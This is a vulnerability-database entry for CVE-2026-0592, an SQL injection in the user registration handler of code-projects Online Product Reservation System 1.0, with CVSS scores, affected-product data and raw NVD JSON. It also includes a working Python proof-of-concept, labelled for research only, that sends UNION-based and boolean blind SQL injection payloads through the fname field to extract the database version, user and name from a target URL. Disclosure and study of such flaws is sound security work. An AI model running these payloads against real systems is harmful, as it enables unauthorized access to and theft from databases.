Security Vulnerability Report
中文
CVE-2026-0592 CVSS 7.3 HIGH

CVE-2026-0592

Published: 2026-01-05 14:15:55
Last Modified: 2026-04-29 01:00:02

Description

A security flaw has been discovered in code-projects Online Product Reservation System 1.0. This affects an unknown function of the file /handgunner-administrator/register_code.php of the component User Registration Handler. Performing a manipulation of the argument fname/lname/address/city/province/country/zip/tel_no/email/username results in sql injection. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:fabian:online_product_reservation_system:1.0:*:*:*:*:*:*:* - VULNERABLE
code-projects Online Product Reservation System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-0592 PoC - SQL Injection in Online Product Reservation System 1.0 # Target: /handgunner-administrator/register_code.php # Vulnerable Parameter: fname, lname, address, city, province, country, zip, tel_no, email, username def exploit_sqli(target_url): """ SQL Injection PoC for CVE-2026-0592 This script demonstrates the vulnerability in user registration handler """ # Malicious payload - extracts database version, user, and database name # Using UNION-based SQL injection payload = "' UNION SELECT version(),user(),database(),4,5,6,7,8,9,10--" # Construct the malicious registration data data = { 'fname': payload, 'lname': 'test', 'address': '123 Test St', 'city': 'TestCity', 'province': 'TestProvince', 'country': 'TestCountry', 'zip': '12345', 'tel_no': '1234567890', 'email': '[email protected]', 'username': 'testuser' } try: print(f"[*] Sending malicious request to {target_url}") print(f"[*] Payload: {payload}") response = requests.post(target_url, data=data, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # Check for SQL error messages indicating successful injection if 'MySQL' in response.text or 'SQL' in response.text or 'error' in response.text.lower(): print("[!] Potential SQL injection detected - check response for database info") print("[*] Response excerpt:") print(response.text[:500]) else: print("[*] No obvious SQL error detected - manual verification needed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True def blind_sqli_test(target_url): """ Blind SQL Injection test - checks if boolean-based blind injection works """ # True condition - should return normal response true_payload = "' AND 1=1--" # False condition - should return different response false_payload = "' AND 1=2--" data_true = {'fname': true_payload, 'lname': 'a', 'address': 'a', 'city': 'a', 'province': 'a', 'country': 'a', 'zip': 'a', 'tel_no': 'a', 'email': '[email protected]', 'username': 'a'} data_false = {'fname': false_payload, 'lname': 'a', 'address': 'a', 'city': 'a', 'province': 'a', 'country': 'a', 'zip': 'a', 'tel_no': 'a', 'email': '[email protected]', 'username': 'a'} try: print("[*] Testing blind SQL injection...") resp_true = requests.post(target_url, data=data_true, timeout=10) resp_false = requests.post(target_url, data=data_false, timeout=10) if len(resp_true.text) != len(resp_false.text): print("[!] Blind SQL injection confirmed!") return True else: print("[*] Blind SQL injection test inconclusive") return False except Exception as e: print(f"[-] Error during blind test: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-0592_poc.py <target_url>") print("Example: python cve-2026-0592_poc.py http://target.com/handgunner-administrator/register_code.php") sys.exit(1) target = sys.argv[1] exploit_sqli(target) blind_sqli_test(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0592", "sourceIdentifier": "[email protected]", "published": "2026-01-05T14:15:54.700", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in code-projects Online Product Reservation System 1.0. This affects an unknown function of the file /handgunner-administrator/register_code.php of the component User Registration Handler. Performing a manipulation of the argument fname/lname/address/city/province/country/zip/tel_no/email/username results in sql injection. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fabian:online_product_reservation_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "20DD85F8-8BAC-44C5-99EC-F57924CE08AE"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/foeCat/CVE/blob/main/OnlineProductReservation_PHP/sqli_register_code.php.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/foeCat/CVE/blob/main/OnlineProductReservation_PHP/sqli_register_code.php.md#poc", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.339502", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.339502", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.731130", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}